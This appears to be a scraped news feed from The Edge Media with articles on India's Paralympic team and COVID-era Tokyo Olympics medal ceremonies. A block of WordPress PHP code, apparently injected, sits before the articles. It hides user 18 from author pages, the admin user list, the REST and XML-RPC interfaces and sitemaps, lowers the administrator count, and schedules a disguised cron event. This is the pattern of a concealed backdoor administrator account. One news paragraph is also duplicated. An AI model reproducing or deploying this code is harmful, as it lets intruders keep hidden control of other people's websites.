add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India to compete in nine sports in the Paralympics appeared first on The Edge Media.
]]>The likes of star javelin thrower Devendra Jhajharia and high jumper Mariyappan Thangavelu — both 2016 Rio Paralympics gold winners — will lead the biggest ever contingent with India expecting at least 15 medals, including five gold.
India is competing in nine sports in the Paralympics, which is being held under strict safety and health protocols due to the COVID-19 pandemic that has led to few countries pulling out.
The expectation of unprecedented success would not be wide off the mark as at least four Indians are ranked top of the world while six are at number two and around 10 are at number three in global standings.
India has won 12 medals in total in Paralympics since it first took part in 1972 and if the projected success materialises, the country could be among the top 25 in the medal tally this time, as against 43rd in 2016 with 2 gold, 1 silver and 1 bronze.
With the government loosening its purse strings for para-athletes and many of them preparing well at various Sports Authority of India facilities across the country, the Paralympians look set to add to the euphoria of sporting success following the best ever medal haul in the Olympics which ended on August 8. India secured seven medals, including one gold and two silver medals, during the Olympics.
Jhajharia, who lost his left hand due to electrocution as a child, is going strong even at 40 and is aiming for a hat-trick of gold medals in the F-46 category after finishing on top of the podium in 2004 and 2016.
He is the current world record holder in the event. F-46 classification is meant for athletes who have upper limb deficiency, impaired muscle power or impaired passive range of movement.
Mariyappan, who was permanently disabled at the age of five when a bus crushed his right leg below the knee, is another para athlete seeking to defend the gold he had won in 2016 in T63 high jump, though he is currently ranked world number 2. He will also hold the country’s flag during the opening ceremony on Tuesday.
World champion Sandeep Choudhary (F-64 javelin throw) is the third gold medal contender from the 24-strong para athletics team. He is world number one and world record holder also. Other medal prospects from para-athletics are reigning world champion Sundar Singh Gurjar and Ajeet Singh (also in F-46) and Navdeep Singh (F41) — all para-javelin throwers.
World champion Sandeep Choudhary (F-64 javelin throw) is the third gold medal contender from the 24-strong para athletics team. He is world number one and world record holder also. Other medal prospects from para-athletics are reigning world champion Sundar Singh Gurjar and Ajeet Singh (also in F-46) and Navdeep Singh (F41) — all para-javelin throwers.
The post India to compete in nine sports in the Paralympics appeared first on The Edge Media.
]]>The post The medals will not be given around the neck : Tokyo Olympics appeared first on The Edge Media.
]]>“The medals will not given around the neck,” International Olympic Committee President Thomas Bach told a virtual media roundtable on Wednesday.
“They will be presented to the athlete on a tray and the athlete will take the medal him or herself.”
“It will be made sure the person who will put the medal on the tray will do it with disinfected gloves. Presenters and athletes will wear a mask. There will be no handshakes and no hugs during the ceremony,” he added.
The host city, where a state of emergency has been imposed until after the Games end on Aug.8, recorded 1,149 new COVID-19 cases on Wednesday, the most in nearly six months.
The Olympics have lost much public support in Japan because of fears they will trigger a surge of infections even though no spectators will be allowed into sports venues and there are strict health measures in place for all Games participants.
The post The medals will not be given around the neck : Tokyo Olympics appeared first on The Edge Media.
]]>